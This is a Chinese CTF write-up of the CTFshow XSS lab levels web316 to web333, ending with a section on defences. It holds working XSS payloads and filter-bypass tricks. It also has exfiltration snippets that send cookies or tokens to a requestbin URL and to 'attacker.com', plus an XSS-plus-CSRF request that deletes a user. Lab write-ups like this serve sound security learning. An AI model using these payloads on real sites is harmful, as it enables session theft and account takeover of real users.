资讯动态

CTFshow XSS靶场通关实录:从web316到333,我是如何一步步“偷”到管理员cookie的

发布时间:2026/8/22 6:01:58 来源:尧图企业网站定制
CTFshow XSS靶场通关实录从web316到333的实战思考第一次点开CTFshow的XSS靶场时我盯着web316的界面发呆了十分钟。作为一个刚接触网络安全的新手那些看似简单的输入框背后隐藏着无数可能性。这不仅仅是一次技术挑战更像是一场与系统设计者的隔空对话。接下来的两周里我从基础的alert弹窗开始逐步深入到复杂的cookie窃取、编码绕过和DOM操作最终完成了从web316到333的全部挑战。这段经历不仅让我掌握了XSS的核心技术更重要的是培养了一种攻击者思维——学会用恶意用户的视角审视每一个输入点。1. 基础篇理解XSS的本质与三种类型在web316到318的挑战中我深刻体会到XSS(跨站脚本攻击)的核心在于信任二字。系统信任了用户的输入而我们正是要利用这种信任关系。1.1 反射型XSS的突破点反射型XSS的特点是恶意脚本通过URL参数注入服务器未做过滤就直接返回给浏览器执行。在web316中最简单的测试方式是scriptalert(1)/script但很快发现这个简单的payload被过滤了。经过多次尝试发现系统只是过滤了script标签于是改用其他标签img srcx onerroralert(1)关键学习点事件处理器(onerror/onload/onclick等)是绕过script标签过滤的有效方式大小写混淆(ScRipt)在某些场景下也能绕过基础防护SVG标签往往拥有更多可执行属性1.2 存储型XSS的持久性威胁web317演示了存储型XSS的威力——恶意脚本被永久保存在服务器上影响所有访问该页面的用户。这里我使用了一个简单的留言板场景iframe srcjavascript:alert(document.cookie)存储型XSS的危害更大因为它不需要诱骗用户点击特定链接只要访问正常页面就会触发。1.3 DOM型XSS的客户端特性web318展示了纯客户端的XSS完全不经过服务器处理。通过分析页面源码发现存在这样的代码eval(location.hash.substr(1))利用方式是在URL后添加#alert(1)。DOM型XSS的检测通常需要仔细阅读前端JavaScript代码寻找innerHTML、document.write等危险函数跟踪用户可控的输入源(location/search/hash等)注意现代前端框架(React/Vue等)默认有XSS防护但在不当使用时仍可能产生漏洞2. 中级篇绕过过滤与编码的艺术从web319开始挑战难度明显提升。单纯的alert弹窗已经无法满足要求需要更精细的绕过技巧。2.1 HTML实体编码的绕过web319对特殊字符进行了实体编码转换变成lt;变成gt;。经过测试发现以下方法有效svg/onloadalert(1)原理是浏览器解析HTML时先进行实体解码SVG标签允许省略尖括号间的空格onload事件在SVG元素上同样有效2.2 JavaScript编码技巧当直接的事件处理器被过滤时web320要求使用JavaScript伪协议a hrefjavascript:alert(1)点击/a更进一步可以使用Base64编码绕过关键字检测a hrefdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg点击/a2.3 利用浏览器解析差异web321展示了如何利用浏览器对HTML解析的特殊规则image src1 href1 onerroralert(1)/image虽然image不是标准标签但浏览器会尝试解析并执行事件处理器。其他有用的技巧包括使用自闭和标签img/srcx onerroralert(1)//利用换行和制表符干扰过滤正则表达式混合多种编码(HTMLJSURL)3. 高级篇实战cookie窃取与防御从web325开始目标从简单的弹窗变为实际的cookie窃取这需要搭建接收平台并编写更复杂的payload。3.1 搭建XSS接收平台我选择了使用RequestBin来收集数据基本payload结构如下var img new Image(); img.src http://requestbin.net/r/yourbin?cookiedocument.cookie;实际应用中需要考虑缩短URL长度(使用短域名)对cookie值进行URL编码隐藏请求(通过setTimeout延迟发送)3.2 绕过HttpOnly限制当cookie标记为HttpOnly时JavaScript无法直接读取。web328的解决方案是利用XSS进行界面操作var f document.createElement(form); f.action http://attacker.com/steal; f.method post; var i document.createElement(input); i.name token; i.value document.querySelector(.token).innerText; f.appendChild(i); document.body.appendChild(f); f.submit();3.3 利用CSP绕过技术Content Security Policy本应限制XSS的影响但配置不当反而会引入新问题。web330演示了如何利用unsafe-evalscript srcdata:text/javascript,alert(1)/script其他CSP绕过技术包括利用可信域上的JSONP接口注入meta标签修改CSP策略通过iframe沙盒逃逸4. 专家篇非常规XSS与综合利用最后的web331-333挑战需要结合多种技术展示了XSS在复杂场景下的可能性。4.1 基于DOM的客户端漏洞链web331要求利用AngularJS的客户端模板注入div ng-app {{constructor.constructor(alert(1))()}} /div这种漏洞不依赖服务器端处理完全在客户端执行传统WAF难以防御。4.2 SVG文件中的XSSweb332展示了通过上传SVG文件实现存储型XSSsvg xmlnshttp://www.w3.org/2000/svg onloadalert(1)/SVG作为图像格式常被允许上传却能包含完整的JavaScript执行环境。4.3 结合CSRF的复合攻击最终的web333需要结合XSS和CSRF进行管理员操作fetch(/admin/delete-user, { method: POST, headers: {Content-Type: application/json}, body: JSON.stringify({username: victim}) });这种组合攻击的危害性远超单一漏洞可以完全接管管理员账户。防御视角的思考完成全部挑战后我转而从防御者角度审视XSS防护。有效的防御应该是多层次的输入验证白名单优于黑名单根据上下文使用不同过滤规则(HTML/JS/URL)输出编码在显示位置进行编码而非存储时使用安全的API如textContent替代innerHTML安全头设置Content-Security-Policy: default-src self X-XSS-Protection: 1; modeblock现代框架特性React的JSX自动转义Vue的v-text指令Angular的DomSanitizer真正安全的系统应该假设所有用户输入都是恶意的采用纵深防御策略。在项目开发中我会特别关注那些直接操作DOM的代码段因为那里往往是XSS的温床。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价